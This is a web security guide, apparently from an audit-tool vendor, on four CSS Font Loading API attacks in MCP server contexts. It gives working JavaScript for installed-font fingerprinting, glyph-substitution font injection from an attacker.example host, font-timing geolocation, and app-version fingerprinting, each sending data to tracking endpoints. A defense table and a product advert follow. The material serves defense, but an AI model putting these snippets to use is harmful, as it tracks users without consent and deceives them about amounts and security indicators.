Security Guide
MCP server CSS Font Loading API security — document.fonts installed-font oracle, FontFace glyph injection, fonts.ready CDN timing oracle, onloadingdone version fingerprint
The CSS Font Loading API — document.fonts, FontFaceSet, FontFace constructor, document.fonts.check(), document.fonts.ready — exposes four attack surfaces in MCP server contexts: probing locally installed font families to create high-entropy hardware fingerprints without user permission, injecting glyph-substituting font data into the document's shared font set to alter text rendering in the parent frame, timing the fonts.ready promise to infer CDN routing and geographic origin, and using the onloadingdone event timing as a stable application version fingerprint. This page covers all four.
document.fonts.check() as installed-font oracle — high-entropy fingerprinting without permission
document.fonts.check(fontSpec) returns true if the specified CSS font (e.g., '12px "Adobe Caslon Pro"') is available in the document's font set — which includes fonts installed on the operating system. Unlike the queryLocalFonts() Local Font Access API (which requires explicit user permission in Chrome), document.fonts.check() requires no permission and returns a synchronous boolean. An attacker can probe a curated list of fonts characteristic of specific OS installations, professional software suites, enterprise environments, or geographic locales — building a high-entropy fingerprint from the intersection of which fonts return true.
// document.fonts.check() installed-font oracle — no permission required
const fontProbes = {
adobe_cc: [
'Adobe Caslon Pro', 'Myriad Pro', 'Minion Pro', 'Adobe Garamond Pro',
'Trajan Pro', 'Adobe Clean', 'Source Serif 4', 'Source Sans 3'
],
ms_office: [
'Calibri', 'Cambria', 'Candara', 'Consolas', 'Constantia',
'Corbel', 'Segoe UI', 'Franklin Gothic Medium'
],
developer: [
'Fira Code', 'JetBrains Mono', 'Cascadia Code', 'Hack',
'Input Mono', 'Operator Mono', 'Dank Mono'
],
enterprise: [
'SAP-icons', 'CiscoSans', 'Atlassian Sans'
],
cjk: ['Noto Sans CJK SC', 'Source Han Sans CN', 'PingFang SC'],
arabic: ['Dubai', 'Noto Naskh Arabic', 'Traditional Arabic']
};
function fingerprintFonts() {
const results = {};
for (const [group, fonts] of Object.entries(fontProbes)) {
results[group] = fonts.filter(f =>
document.fonts.check(`12px "${f}"`)
);
}
return {
fingerprint: results,
installedGroups: Object.entries(results)
.filter(([, v]) => v.length > 0)
.map(([k]) => k)
};
}
// Synchronous, no permission prompt, works in all modern browsers
const fp = fingerprintFonts();
fetch('/track', { method: 'POST', body: JSON.stringify(fp), keepalive: true });
document.fonts.check() is synchronous, permission-free, and available across all major browsers. Probing ~200 well-chosen font families produces fingerprint entropy comparable to canvas fingerprinting, without triggering any permission dialog. It is not restricted by any Permissions-Policy directive.
FontFace constructor + document.fonts.add() — glyph injection affecting parent frame rendering
new FontFace('FamilyName', binaryData) creates a font face from binary data and document.fonts.add(face) registers it. If MCP tool output runs in a same-origin context — or in a sandboxed iframe that shares the parent document's font set — injecting a font that overrides a commonly used family name (e.g., "Arial", "Helvetica") allows an attacker to substitute glyphs in any text rendered in the parent frame using that family. A font that replaces the currency symbol, a lock icon codepoint, a zero character, or security-indicator glyphs with visually similar but different characters can alter the user's perception of financial amounts, authentication state, or cryptographic addresses without modifying any DOM node.
// FontFace glyph injection — replacing existing font family with attacker-controlled glyphs
async function injectGlyphSubstitution() {
// Fetch or construct a font binary where specific codepoints render as different glyphs
// e.g., U+0024 '$' rendered as U+FF04 '$' (full-width) — visually identical but different value
// e.g., U+1F512 '🔒' rendered as U+1F513 '🔓' — lock rendered as unlocked
const fontBuffer = await fetch('https://attacker.example.com/glyph-sub.woff2')
.then(r => r.arrayBuffer());
// Override 'Arial' — high probability the application uses this family
const injectedFont = new FontFace('Arial', fontBuffer, {
style: 'normal',
weight: '400',
unicodeRange: 'U+0024,U+0030,U+004F,U+1F512-1F513'
// Targeted range: only override specific security-relevant characters
// U+0024 = '$', U+0030 = '0', U+004F = 'O' (easily confused with 0 in crypto addresses)
// U+1F512 = lock emoji, U+1F513 = unlocked lock emoji
});
await injectedFont.load();
// Add to document font set — affects all text in this document tree
// If this code runs in the parent document's scope:
// ALL elements using font-family: Arial now use attacker's glyphs for target codepoints
document.fonts.add(injectedFont);
}
// Detection challenge: DOM inspection shows correct text content ('$', '0', '🔒')
// Only visual inspection of the rendered output reveals the glyph substitution
// Automated tests comparing innerText === expected pass; visual regression tests would catch it
FontFace glyph injection is invisible to DOM-based security monitoring. The document's text content nodes are unchanged — only the rendered glyph differs. Automated XSS scanners, CSP reports, and DOM mutation observers see no anomaly. Detection requires comparing rendered pixel output against expected glyphs — a visual regression test that most security tooling does not perform.
document.fonts.ready timing oracle — CDN routing and geography inference
document.fonts.ready is a Promise that resolves when all pending font load operations have completed. The time between document creation and fonts.ready resolution depends on which fonts were loaded and from which CDN edge nodes they were served. If the application loads fonts from known CDN providers (fonts.googleapis.com, use.typekit.net, fonts.bunny.net), the load latency to each provider's edge network varies systematically by the user's geographic region and ISP routing policy. An attacker who knows which CDN URLs the application uses can time fonts.ready across multiple page loads to infer the user's CDN edge node assignment — a coarse but useful geographic and network fingerprint that requires no user permission and no direct network probe.
// document.fonts.ready timing as CDN routing oracle
const loadStart = performance.now();
document.fonts.ready.then(() => {
const fontLoadDurationMs = performance.now() - loadStart;
// CDN edge latency interpretation:
// fonts.googleapis.com serves from Google's global CDN:
// < 20ms → user in major US metro (NYC, LA, Chicago) or Western Europe
// 20-60ms → US mid-tier or Eastern Europe
// 60-150ms → Latin America, India, Southeast Asia
// > 150ms → Africa, Pacific Islands, or poor peering
// Additional signal: measure individual font family load times
const fontMeasurements = [];
for (const face of document.fonts) {
// FontFace.status reflects load state; loaded faces were fetched recently
if (face.status === 'loaded') {
fontMeasurements.push({
family: face.family,
style: face.style,
weight: face.weight,
// Cannot directly measure per-font load time from FontFace API alone
// but fonts.ready aggregate is a proxy for the slowest CDN fetch
});
}
}
fetch('/track', {
method: 'POST',
body: JSON.stringify({
fontLoadMs: fontLoadDurationMs,
fontCount: fontMeasurements.length,
// Coarse geographic bucket inferred from load time
inferredRegion: fontLoadDurationMs < 20 ? 'tier1' :
fontLoadDurationMs < 60 ? 'tier2' : 'tier3'
}),
keepalive: true
});
});
// Timing is coarse but stable: repeat measurements across multiple navigations
// produce consistent results for the same user in the same location
fonts.ready timing requires no permission and produces a stable geographic signal. CDN edge latency varies reliably by geographic region. Across three page loads, the timing pattern produces a consistent fingerprint of the user's CDN assignment — narrow enough to distinguish country-level geography without requiring any network probe or geolocation API.
FontFaceSet.onloadingdone — timing as application version fingerprint
The FontFaceSet.onloadingdone event fires when the document's font loading queue empties — all pending fonts have either loaded or failed. The timing of this event from document creation is determined by which fonts the application loads, their file sizes, the CDN from which they are served, and the number of font faces requested. Different application versions that load different font subsets, use different subsetting parameters, or load fonts from different CDN URLs produce systematically different onloadingdone timing signatures. This creates a passive application version fingerprint: an attacker who has profiled the onloadingdone timing for known application versions can infer which version the user is running from the event timing alone — without reading any version number from the DOM.
// FontFaceSet.onloadingdone timing as application version fingerprint
const docCreateTime = performance.now();
document.fonts.addEventListener('loadingdone', (event) => {
const loadingDoneMs = performance.now() - docCreateTime;
// Application version fingerprinting via font load timing:
// Version A loads: Roboto 400 (43KB) + Roboto 700 (42KB) = ~85KB → loadingDoneMs ≈ 80-120ms
// Version B loads: Roboto 400 (43KB) + Roboto 700 (42KB) + Roboto Mono 400 (67KB) = ~152KB → ~150-200ms
// Version C loads: Inter variable (85KB subset) = ~85KB but different hash → different CDN cache state
// event.fontfaces: the set of FontFace objects that finished loading
const loadedFamilies = [...event.fontfaces].map(f => ({
family: f.family,
weight: f.weight,
style: f.style
}));
const fingerprint = {
loadingDoneMs,
loadedCount: event.fontfaces.size,
families: loadedFamilies,
// Stable identifier: combination of count + timing bucket + families
versionSignal: `${event.fontfaces.size}:${Math.round(loadingDoneMs/10)*10}`
};
// Exfiltrate — no permission required
navigator.sendBeacon('/fingerprint', JSON.stringify(fingerprint));
});
// Profiling known versions offline:
// Collect onloadingdone timing for each known app version in a lab environment
// Build a lookup table: timing range → version
// Apply to live traffic — infers running version without reading version strings from HTML
| Attack | Mechanism | What it leaks | Defense |
|---|---|---|---|
| Installed-font oracle | document.fonts.check() synchronous probe loop over curated font list | OS, installed software suite (Adobe CC, MS Office), developer tools, enterprise software, geographic locale | No permission gate exists; Firefox reduces precision on some probes; Chrome has no restriction. No Permissions-Policy control |
| FontFace glyph injection | FontFace constructor with glyph-substituting binary + document.fonts.add() | UI deception via glyph replacement — currency symbols, lock icons, crypto address characters rendered differently | Subresource Integrity (SRI) on font loads; Trusted Types for font injection; sandbox MCP tool output in cross-origin iframes |
| fonts.ready CDN timing | Timing document.fonts.ready resolution against document creation | CDN edge node geographic region; ISP routing tier; coarse geographic fingerprint across page loads | No browser control; fonts served from same-origin (no CDN) eliminate the timing signal |
| onloadingdone version fingerprint | FontFaceSet loadingdone event timing from document creation | Application version inference from font subset size and CDN cache state timing signature | No browser control; consistent font loading across application versions reduces timing distinguishability |
SkillAudit findings for CSS Font Loading API misuse
Audit your MCP server for CSS Font Loading API risks
SkillAudit checks for document.fonts.check() fingerprinting loops, FontFace injection patterns, fonts.ready timing collection, and onloadingdone version inference. Paste a GitHub URL and get a graded report in 60 seconds.
Run a free audit →